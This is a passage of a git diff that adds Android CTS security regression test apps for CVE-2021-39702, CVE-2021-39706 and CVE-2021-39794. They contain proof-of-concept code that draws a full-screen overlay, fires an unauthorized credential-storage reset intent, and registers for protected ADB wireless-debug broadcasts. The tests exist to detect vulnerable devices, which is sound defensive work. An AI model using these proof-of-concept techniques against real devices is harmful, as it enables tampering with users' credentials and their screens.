+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        mButton = new Button(context);
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
index bcbf54f..ea7eb99 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39706",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
new file mode 100644
index 0000000..4ee35ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39706"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:testOnly="true"
+        android:label="CVE-2021-39706"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:exported="true"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data
+                android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"></action>
+            </intent-filter>
+        </receiver>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
new file mode 100644
index 0000000..6188e9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        xmlns:app="http://schemas.android.com/apk/res-auto"
+        xmlns:tools="http://schemas.android.com/tools"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+    <Button
+        android:id="@+id/button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/cleanCache" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
new file mode 100644
index 0000000..2afb31c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="settingsPkg">com.android.settings</string>
+    <string name="settingsPkgCar">com.android.car.settings</string>
+    <string name="certCls">com.android.settings.security.CredentialStorage</string>
+    <string name="certClsCar">com.android.car.settings.security.CredentialStorageActivity</string>
+    <string name="certInstalled">Certificate is already installed</string>
+    <string name="certInstallFail">Certificate installation failed!</string>
+    <string name="certNotFound">Certificate not found after installation</string>
+    <string name="pkgName">android.security.cts.CVE_2021_39706</string>
+    <string name="openFail">Failed to open </string>
+    <string name="tapFail">Failed to Tap </string>
+    <string name="pkgInstallFail"> is not installed!</string>
+    <string name="oK">OK</string>
+    <string name="cleanCache">CLEAN CACHE</string>
+    <string name="failMessage">Vulnerable to b/200164168 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
new file mode 100644
index 0000000..8a3a4d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<device-admin>
+    <uses-policies>
+        <disable-camera/>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
new file mode 100644
index 0000000..fcff1b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.security.cts.CVE_2021_39706.PocActivity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int TIMEOUT = 10000;
+    private static Resources resources;
+    private static String settingsPkg;
+
+    /*
+     * The Certificate and keypair below are generated with:
+     *
+     * openssl req -nodes -new -x509 -keyout key.pem -out cert.pem -days 3650
+     */
+
+    // Content from cert.pem
+    public static final String TEST_CA = "-----BEGIN CERTIFICATE-----\n"
+            + "MIIDAzCCAeugAwIBAgIUax98yDH6YvGpzh2XQBYV7MU2ao8wDQYJKoZIhvcNAQEL\n"
+            + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExMzcxNloXDTMyMDIxNTEx\n"
+            + "MzcxNlowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+            + "MIIBCgKCAQEAoPTRA3pjJc1JTQN3EK6Jtl9JkJaI0+P/e3Bzyi4MkxrSuHDvfqP0\n"
+            + "08roSZgG0a/I1oSlfTSt5QEOvuJH3KVW0IuUF71JYO6rmm7wU2Clx89qmONgQGJR\n"
+            + "G72qvhIBEN1zma2WK9NFcQ4amYspLfkB9HSjy3C+LCwgqoQFfND6uaCGELayx4km\n"
+            + "CnJgBfxNddcz0abWShJ0fr0lOPtKY4tPHhE/1oWGGqAI/U808veLJDpQ06c8wjNf\n"
+            + "8GD7thykOwoTlF630gz0gA/VkmxiOfn0WXRS8VeJ6TeilFsBNUSD4tLA250U8r0F\n"
+            + "d9yFMRVtdFPuNP1ajf2IO+RLpQUr2kWAbQIDAQABo1MwUTAdBgNVHQ4EFgQU1gXp\n"
+            + "r3L/Gf39tvSOZrD5wSQmUJAwHwYDVR0jBBgwFoAU1gXpr3L/Gf39tvSOZrD5wSQm\n"
+            + "UJAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFDTpZ1LNtd29\n"
+            + "hh+8TFvAOoaMx06AgnTRdLdsWwcjJCCAHvBiimE23XFO91VjTbttIXynpnKHVwOf\n"
+            + "lgTsExLtXDFU65OQNaWt7UebtWdvxsThd754SUsSGVuZ6VXyI5EuADoU/MocdE3B\n"
+            + "+EJZnl/HvG4KKPTL+YdlvthI1j5WUmI2m7yVzYouC72y92L3ebPaGdMcbp9wjZ89\n"
+            + "LdvAJ8yaLqVxv7TQgXORUo1NrqASsVVW/IgmovHuZj9wK7ZenFhT58ue7nxqQm4Z\n"
+            + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
+            + "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
+
+    private UiDevice device;
+    private Context context;
+    private PackageManager packageManager;
+
+    private void openApplication(String applicationName) {
+        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        assumeTrue(resources.getString(R.string.openFail) + applicationName,
+                device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+    }
+
+    private void tapText(String text) {
+        boolean buttonClicked = false;
+        UiObject2 object = device.findObject(By.text(text));
+        if (object != null && object.getText() != null) {
+            object.click();
+            buttonClicked = true;
+        }
+        assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+    }
+
+    protected boolean isPackageInstalled(String packageName) {
+        try {
+            PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
+            return pi != null;
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    @Before
+    public void setUp() {
+        // Initialize UiDevice instance
+        device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        context = InstrumentationRegistry.getInstrumentation().getContext();
+        packageManager = context.getPackageManager();
+        resources = context.getResources();
+        settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
+                : resources.getString(R.string.settingsPkg);
+        assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
+                isPackageInstalled(settingsPkg));
+    }
+
+    @Test
+    public void testCredentialReset() {
+        final byte[] cert = TEST_CA.getBytes();
+        PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
+        assumeFalse(resources.getString(R.string.certInstalled),
+                policyManager.hasCaCertInstalled(cert));
+        assumeTrue(resources.getString(R.string.certInstallFail),
+                policyManager.installCaCert(cert));
+        assumeTrue(resources.getString(R.string.certNotFound),
+                policyManager.hasCaCertInstalled(cert));
+
+        // Open the PoC and attempt to reset credentials
+        openApplication(resources.getString(R.string.pkgName));
+        // Button is used to reset credentials after confirming that PoC opened successfully
+        tapText(resources.getString(R.string.cleanCache));
+        if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+            // Press OK in the reset dialog which confirms before clearing certificates
+            tapText(resources.getString(R.string.oK));
+        }
+        long end = System.currentTimeMillis() + TIMEOUT;
+        while (System.currentTimeMillis() < end) {
+            if (!policyManager.hasCaCertInstalled(cert)) {
+                // Without fix, the certificate is reset
+                fail(resources.getString(R.string.failMessage));
+            }
+        }
+
+        // With fix, the certificate is not reset. Uninstall it explicitly
+        policyManager.uninstallCaCert(cert);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
new file mode 100644
index 0000000..7d112f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.test.InstrumentationRegistry;
+
+public class PocActivity extends Activity {
+
+    public static boolean checkIsCar() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Button button = (Button) findViewById(R.id.button);
+        button.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                credentialStorageReset();
+            }
+        });
+    }
+
+    private void credentialStorageReset() {
+        boolean isCar = checkIsCar();
+        Intent intent = new Intent("com.android.credentials.RESET");
+        String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+                : getResources().getString(R.string.settingsPkg);
+        String cls = isCar ? getResources().getString(R.string.certClsCar)
+                : getResources().getString(R.string.certCls);
+        intent.setClassName(pkg, cls);
+        try {
+            startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..4c413c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onEnabled(Context context, Intent intent) {
+        super.onEnabled(context, intent);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
new file mode 100644
index 0000000..76a5a94
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class PocPolicyManager {
+    private Context mContext;
+    private DevicePolicyManager mDevicePolicyManager;
+    private ComponentName mComponentName;
+
+    public PocPolicyManager(Context context) {
+        this.mContext = context;
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                PocDeviceAdminReceiver.class.getName());
+    }
+
+    public boolean installCaCert(byte[] cert) {
+        return mDevicePolicyManager.installCaCert(mComponentName, cert);
+    }
+
+    public boolean hasCaCertInstalled(byte[] cert) {
+        return mDevicePolicyManager.hasCaCertInstalled(mComponentName, cert);
+    }
+
+    public void uninstallCaCert(byte[] cert) {
+        mDevicePolicyManager.uninstallCaCert(mComponentName, cert);
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
index bcbf54f..dbf8b37 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39794-receiver",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
new file mode 100644
index 0000000..8464275
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39794_receiver"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-sdk android:targetSdkVersion="25"/>
+    <application
+        android:label="CVE-2021-39794-receiver"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocReceiver"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
new file mode 100644
index 0000000..c62e464
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
new file mode 100644
index 0000000..ebad4ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        // If PocReceiver is able to receive AdbManager broadcasts
+        // without having MANAGE_DEBUGGING permission, this indicates
+        // that vulnerability exists. Transfer control back to
+        // the test app and make the CTS fail in PocTestActivity
+        try {
+            Intent i = new Intent();
+            i.setClassName("android.security.cts.CVE_2021_39794_test",
+                    "android.security.cts.CVE_2021_39794_test.PocTestActivity");
+            i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            context.startActivity(i);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
index bcbf54f..0ddc4fa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,20 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
